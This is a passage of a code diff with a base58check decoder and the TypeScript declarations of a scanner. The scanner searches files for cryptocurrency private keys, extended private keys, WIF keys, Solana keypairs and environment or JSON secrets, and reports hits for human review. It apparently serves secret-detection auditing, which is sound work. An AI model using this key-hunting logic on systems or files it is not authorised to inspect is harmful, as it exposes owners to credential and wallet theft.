+ for (let i = 0; i < s.length && s[i] === "1"; i++) {
32
+ bytes.push(0);
33
+ }
34
+ return Buffer.from(bytes.reverse());
35
+ }
36
+ function base58CheckDecode(input) {
37
+ const decoded = decodeBase58(input);
38
+ if (!decoded || decoded.length < 5)
39
+ return null;
40
+ const payload = decoded.subarray(0, -4);
41
+ const chk = decoded.subarray(-4);
42
+ const h = (0, node_crypto_1.createHash)("sha256")
43
+ .update((0, node_crypto_1.createHash)("sha256").update(payload).digest())
44
+ .digest()
45
+ .subarray(0, 4);
46
+ if (!chk.equals(h))
47
+ return null;
48
+ return Buffer.from(payload);
49
+ }
@@ -0,0 +1,23 @@
1
+ /**
2
+ * Content scan for filename-matched candidate files only.
3
+ * Does not modify files. Outputs structured findings for human review (many false positives).
4
+ */
5
+ import type { ScanHitExtras, ScanHitRow } from "./types";
6
+ export type RegexRuleName = "hex_64" | "maybe_eth_address_40" | "bip32_xprv" | "wif_like" | "env_secret" | "json_secret" | "solana_keypair_json";
7
+ export declare function shannonEntropy(data: Uint8Array): number;
8
+ export declare function extractPrintableRuns(data: Buffer, minLen?: number): Generator<string>;
9
+ export declare function tryBase64Decode(s: string): string[];
10
+ export declare function tryHexToBytesHint(s: string): string | undefined;
11
+ export declare function xorSinglebytePrintable(hex64: string, maxFound?: number): string[];
12
+ /** Optional validators (mnemonic checksum / ed25519) — Python uses extras; Node build skips heavy deps. */
13
+ export declare function validateSnippet(rule: string, snippet: string): ScanHitExtras;
14
+ interface InternalHit {
15
+ rule: string;
16
+ offset: number;
17
+ matched_text: string;
18
+ extras: ScanHitExtras;
19
+ }
20
+ export declare function scanText(text: string, validate: boolean): InternalHit[];
21
+ export declare function scanBytes(data: Buffer, validate?: boolean): InternalHit[];
22
+ export declare function hitsToRows(absPath: string, size: number, hits: InternalHit[]): ScanHitRow[];
23
+ export {};